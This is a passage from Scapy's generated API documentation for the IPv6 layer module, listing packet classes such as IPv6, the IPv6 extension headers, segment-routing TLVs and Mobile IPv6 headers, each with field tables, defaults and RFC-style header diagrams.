+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. ICMPv6ParamProblem                      


ICMPv6ParamProblem fields






	type

	ByteEnumField

	4



	code

	ByteEnumField

	0



	cksum

	XShortField

	None



	ptr

	IntField

	6















	
class scapy.layers.inet6.ICMPv6RPL(_pkt, /, *, type=155, code=0, cksum=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2799-L2804]

	Bases: _ICMPv6


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      CODE     |             CKSUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. ICMPv6RPL                          


ICMPv6RPL fields






	type

	ByteEnumField

	155



	code

	ByteEnumField

	0



	cksum

	XShortField

	None











	
payload_guess

	Possible sublayers:
RPLDAOACK, RPLDAO, RPLDCOACK, RPLDCO, RPLDIO, RPLDIS










	
class scapy.layers.inet6.ICMPv6TimeExceeded(_pkt, /, *, type=3, code=0, cksum=None, length=0, unused=0, extpad=b'', ext=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1465-L1475]

	Bases: _ICMPv6Error


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      CODE     |             CKSUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     LENGTH    |                     UNUSED                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |EXTPA|              EXT              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. ICMPv6TimeExceeded                      


ICMPv6TimeExceeded fields






	type

	ByteEnumField

	3



	code

	ByteEnumField

	0



	cksum

	XShortField

	None



	length

	ByteField

	0



	unused

	X3BytesField

	0



	extpad

	_ICMPExtensionPadField

	b''



	ext

	_ICMPExtensionField

	None











	
post_dissection(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L1040-L1046]

	








	
class scapy.layers.inet6.ICMPv6Unknown(_pkt, /, *, type=1, code=0, cksum=None, msgbody=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1431-L1436]

	Bases: _ICMPv6


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      CODE     |             CKSUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            MSGBODY            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. ICMPv6Unknown                        


ICMPv6Unknown fields






	type

	ByteEnumField

	1



	code

	ByteField

	0



	cksum

	XShortField

	None



	msgbody

	StrField

	b''















	
class scapy.layers.inet6.IP6ListField(name, default, count_from=None, length_from=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L215-L273]

	Bases: StrField


	
count_from

	




	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L234-L254]

	




	
i2count(pkt, i)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L229-L232]

	




	
i2len(pkt, i)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L226-L227]

	




	
i2m(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L256-L265]

	




	
i2repr(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L267-L273]

	




	
islist = 1

	




	
length_from

	








	
class scapy.layers.inet6.IPerror6(_pkt, /, *, version=6, tc=0, fl=0, plen=None, nh=59, hlim=64, src=None, dst=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L498-L574]

	Bases: IPv6


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L501-L571]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|VERSION|       TC      |                   FL                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              PLEN             |       NH      |      HLIM     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SRC                              |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DST                              |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IPerror6                           


IPerror6 fields






	version

	BitField  (4 bits)

	6



	tc

	BitField  (8 bits)

	0



	fl

	BitField  (20 bits)

	0



	plen

	ShortField

	None



	nh

	ByteEnumField

	59



	hlim

	ByteField

	64



	src

	SourceIP6Field

	None



	dst

	DestIP6Field

	None











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L573-L574]

	




	
payload_guess

	Possible sublayers:
TCPerror, UDPerror, SCTPerror










	
class scapy.layers.inet6.IPv46(_pkt, /, *, version=4, ihl=None, tos=0, len=None, id=1, flags=<Flag 0 ()>, frag=0, ttl=64, proto=0, chksum=None, src=None, dst=None, options=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L473-L485]

	Bases: IP

This class implements a dispatcher that is used to detect the IP version
while parsing Raw IP pcap files.


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *_, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L478-L485]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|VERSION|  IHL  |      TOS      |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               ID              |FLAGS|           FRAG          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TTL      |     PROTO     |             CHKSUM            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SRC                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DST                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTIONS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. IPv46                            


IPv46 fields






	version

	BitField  (4 bits)

	4



	ihl

	BitField  (4 bits)

	None



	tos

	XByteField

	0



	len

	ShortField

	None



	id

	ShortField

	1



	flags

	FlagsField

	<Flag 0 ()>



	frag

	BitField  (13 bits)

	0



	ttl

	ByteField

	64



	proto

	ByteEnumField

	0



	chksum

	XShortField

	None



	src

	SourceIPField

	None



	dst

	DestIPField

	None



	options

	PacketListField

	[]















	
class scapy.layers.inet6.IPv6(_pkt, /, *, version=6, tc=0, fl=0, plen=None, nh=59, hlim=64, src=None, dst=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L297-L470]

	Bases: _IPv6GuessPayload, Packet, IPTools


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L417-L470]

	




	
extract_padding(data)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L325-L355]

	Extract the IPv6 payload






	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|VERSION|       TC      |                   FL                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              PLEN             |       NH      |      HLIM     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SRC                              |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DST                              |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. IPv6                             


IPv6 fields






	version

	BitField  (4 bits)

	6



	tc

	BitField  (8 bits)

	0



	fl

	BitField  (20 bits)

	0



	plen

	ShortField

	None



	nh

	ByteEnumField

	59



	hlim

	ByteField

	64



	src

	SourceIP6Field

	None



	dst

	DestIP6Field

	None











	
hashret()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L357-L415]

	




	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L315-L316]

	




	
payload_guess

	Possible sublayers:
EIGRP, MPLS, OSPFv3_Hdr, PIMv2Hdr, IP, TCP, UDP, IPv6, AH, ESP, GRE, SCTP, VRRPv3






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L318-L323]

	




	
route()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L308-L313]

	Used to select the L2 address










	
class scapy.layers.inet6.IPv6ExtHdrDestOpt(_pkt, /, *, nh=59, len=None, autopad=1, options=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L936-L944]

	Bases: _IPv6ExtHdr


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       NH      |      LEN      |    AUTOPAD    |    OPTIONS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                      Fig. IPv6ExtHdrDestOpt                      


IPv6ExtHdrDestOpt fields






	nh

	ByteEnumField

	59



	len

	FieldLenField

	None



	autopad

	_PhantomAutoPadField

	1



	options

	_OptionsField

	[]















	
class scapy.layers.inet6.IPv6ExtHdrFragment(_pkt, /, *, nh=59, res1=0, offset=0, res2=0, m=0, id=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1119-L1133]

	Bases: _IPv6ExtHdr


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       NH      |      RES1     |          OFFSET         |RES|M|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. IPv6ExtHdrFragment                      


IPv6ExtHdrFragment fields






	nh

	ByteEnumField

	59



	res1

	BitField  (8 bits)

	0



	offset

	BitField  (13 bits)

	0



	res2

	BitField  (2 bits)

	0



	m

	BitField  (1 bit)

	0



	id

	IntField

	None











	
guess_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1129-L1133]

	








	
class scapy.layers.inet6.IPv6ExtHdrHopByHop(_pkt, /, *, nh=59, len=None, autopad=1, options=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L923-L931]

	Bases: _IPv6ExtHdr


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       NH      |      LEN      |    AUTOPAD    |    OPTIONS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                     Fig. IPv6ExtHdrHopByHop                      


IPv6ExtHdrHopByHop fields






	nh

	ByteEnumField

	59



	len

	FieldLenField

	None



	autopad

	_PhantomAutoPadField

	1



	options

	_OptionsField

	[]















	
class scapy.layers.inet6.IPv6ExtHdrRouting(_pkt, /, *, nh=59, len=None, type=0, segleft=None, reserved=0, addresses=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L949-L964]

	Bases: _IPv6ExtHdr


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       NH      |      LEN      |      TYPE     |    SEGLEFT    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RESERVED                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ADDRESSES           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. IPv6ExtHdrRouting                      


IPv6ExtHdrRouting fields






	nh

	ByteEnumField

	59



	len

	FieldLenField

	None



	type

	ByteField

	0



	segleft

	ByteField

	None



	reserved

	BitField  (32 bits)

	0



	addresses

	IP6ListField

	[]











	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L961-L964]

	








	
class scapy.layers.inet6.IPv6ExtHdrSegmentRouting(_pkt, /, *, nh=59, len=None, type=4, segleft=None, lastentry=None, unused1=0, protected=0, oam=0, alert=0, hmac=0, unused2=0, tag=0, addresses=['::1'], tlv_objects=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1055-L1114]

	Bases: _IPv6ExtHdr


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       NH      |      LEN      |      TYPE     |    SEGLEFT    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   LASTENTRY   |U|P|O|A|H|UNUSE|              TAG              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ADDRESSES           |          TLV OBJECTS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. IPv6ExtHdrSegmentRouting                   


IPv6ExtHdrSegmentRouting fields






	nh

	ByteEnumField

	59



	len

	ByteField

	None



	type

	ByteField

	4



	segleft

	ByteField

	None



	lastentry

	ByteField

	None



	unused1

	BitField  (1 bit)

	0



	protected

	BitField  (1 bit)

	0



	oam

	BitField  (1 bit)

	0



	alert

	BitField  (1 bit)

	0



	hmac

	BitField  (1 bit)

	0



	unused2

	BitField  (3 bits)

	0



	tag

	ShortField

	0



	addresses

	IP6ListField

	['::1']



	tlv_objects

	PacketListField

	[]











	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1080-L1114]

	








	
class scapy.layers.inet6.IPv6ExtHdrSegmentRoutingTLV(_pkt, /, *, type=None, len=0, value=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L982-L1003]

	Bases: Packet


	
aliastypes

	




	
classmethod dispatch_hook(pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L998-L1003]

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L989-L990]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. IPv6ExtHdrSegmentRoutingTLV                 


IPv6ExtHdrSegmentRoutingTLV fields






	type

	ByteEnumField

	None



	len

	ByteField

	0



	value

	StrLenField

	b''











	
classmethod register_variant()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L994-L996]

	




	
registered_sr_tlv = {0: <class 'scapy.layers.inet6.IPv6ExtHdrSegmentRoutingTLVPad1'>, 1: <class 'scapy.layers.inet6.IPv6ExtHdrSegmentRoutingTLVIngressNode'>, 2: <class 'scapy.layers.inet6.IPv6ExtHdrSegmentRoutingTLVEgressNode'>, 4: <class 'scapy.layers.inet6.IPv6ExtHdrSegmentRoutingTLVPadN'>, 5: <class 'scapy.layers.inet6.IPv6ExtHdrSegmentRoutingTLVHMAC'>, None: <class 'scapy.layers.inet6.IPv6ExtHdrSegmentRoutingTLV'>}

	








	
class scapy.layers.inet6.IPv6ExtHdrSegmentRoutingTLVEgressNode(_pkt, /, *, type=2, len=18, reserved=0, flags=0, egress_node='::1')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1016-L1023]

	Bases: IPv6ExtHdrSegmentRoutingTLV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |    RESERVED   |     FLAGS     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          EGRESS NODE                          |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

            Fig. IPv6ExtHdrSegmentRoutingTLVEgressNode            


IPv6ExtHdrSegmentRoutingTLVEgressNode fields






	type

	ByteEnumField

	2



	len

	ByteField

	18



	reserved

	ByteField

	0



	flags

	ByteField

	0



	egress_node

	IP6Field

	'::1'















	
class scapy.layers.inet6.IPv6ExtHdrSegmentRoutingTLVHMAC(_pkt, /, *, type=5, len=None, D=0, reserved=0, hmackeyid=0, hmac=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1042-L1052]

	Bases: IPv6ExtHdrSegmentRoutingTLV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |              LEN              |D|   RESERVED  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                   HMACKEYID                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              HMAC             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. IPv6ExtHdrSegmentRoutingTLVHMAC               


IPv6ExtHdrSegmentRoutingTLVHMAC fields






	type

	ByteEnumField

	5



	len

	FieldLenField

	None



	D

	BitField  (1 bit)

	0



	reserved

	BitField  (15 bits)

	0



	hmackeyid

	IntField

	0



	hmac

	StrLenField

	b''















	
class scapy.layers.inet6.IPv6ExtHdrSegmentRoutingTLVIngressNode(_pkt, /, *, type=1, len=18, reserved=0, flags=0, ingress_node='::1')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1006-L1013]

	Bases: IPv6ExtHdrSegmentRoutingTLV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |    RESERVED   |     FLAGS     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          INGRESS NODE                         |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

           Fig. IPv6ExtHdrSegmentRoutingTLVIngressNode            


IPv6ExtHdrSegmentRoutingTLVIngressNode fields






	type

	ByteEnumField

	1



	len

	ByteField

	18



	reserved

	ByteField

	0



	flags

	ByteField

	0



	ingress_node

	IP6Field

	'::1'















	
class scapy.layers.inet6.IPv6ExtHdrSegmentRoutingTLVPad1(_pkt, /, *, type=0, len=None, padding=b'\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1026-L1031]

	Bases: IPv6ExtHdrSegmentRoutingTLV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |            PADDING            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. IPv6ExtHdrSegmentRoutingTLVPad1               


IPv6ExtHdrSegmentRoutingTLVPad1 fields






	type

	ByteEnumField

	0



	len

	FieldLenField

	None



	padding

	StrLenField

	b'\x00'















	
class scapy.layers.inet6.IPv6ExtHdrSegmentRoutingTLVPadN(_pkt, /, *, type=4, len=None, padding=b'\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1034-L1039]

	Bases: IPv6ExtHdrSegmentRoutingTLV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |            PADDING            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. IPv6ExtHdrSegmentRoutingTLVPadN               


IPv6ExtHdrSegmentRoutingTLVPadN fields






	type

	ByteEnumField

	4



	len

	FieldLenField

	None



	padding

	StrLenField

	b'\x00'















	
scapy.layers.inet6.IPv6inIP(dst='203.178.135.36', src=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3495-L3502]

	




	
class scapy.layers.inet6.Jumbo(_pkt, /, *, otype=194, optlen=4, jumboplen=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L818-L831]

	Bases: Packet


	
aliastypes

	




	
alignment_delta(curpos)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L824-L828]

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L830-L831]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     |     OPTLEN    |           JUMBOPLEN           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. Jumbo                            


Jumbo fields






	otype

	_OTypeField

	194



	optlen

	ByteField

	4



	jumboplen

	IntField

	None















	
class scapy.layers.inet6.L3RawSocket6(type=34525, filter=None, iface=None, promisc=None, nofilter=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3487-L3492]

	Bases: L3RawSocket






	
class scapy.layers.inet6.LifetimeField(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3287-L3289]

	Bases: ShortField


	
i2repr(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3288-L3289]

	








	
class scapy.layers.inet6.MIP6MH_BA(_pkt, /, *, nh=59, len=None, mhtype=6, res=None, cksum=None, status=0, flags=<Flag 4 (K)>, res2=None, seq=None, mhtime=0, autopad=1, options=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3317-L3344]

	Bases: _MobilityHeader


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3337-L3344]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       NH      |      LEN      |     MHTYPE    |      RES      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CKSUM             |     STATUS    |FLAGS|   RES2  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              SEQ              |             MHTIME            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AUTOPAD    |            OPTIONS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. MIP6MH_BA                          


MIP6MH_BA fields






	nh

	ByteEnumField

	59



	len

	ByteField

	None



	mhtype

	ByteEnumField

	6



	res

	ByteField

	None



	cksum

	XShortField

	None



	status

	ByteEnumField

	0



	flags

	FlagsField

	<Flag 4 (K)>



	res2

	XBitField  (5 bits)

	None



	seq

	XShortField

	None



	mhtime

	XShortField

	0



	autopad

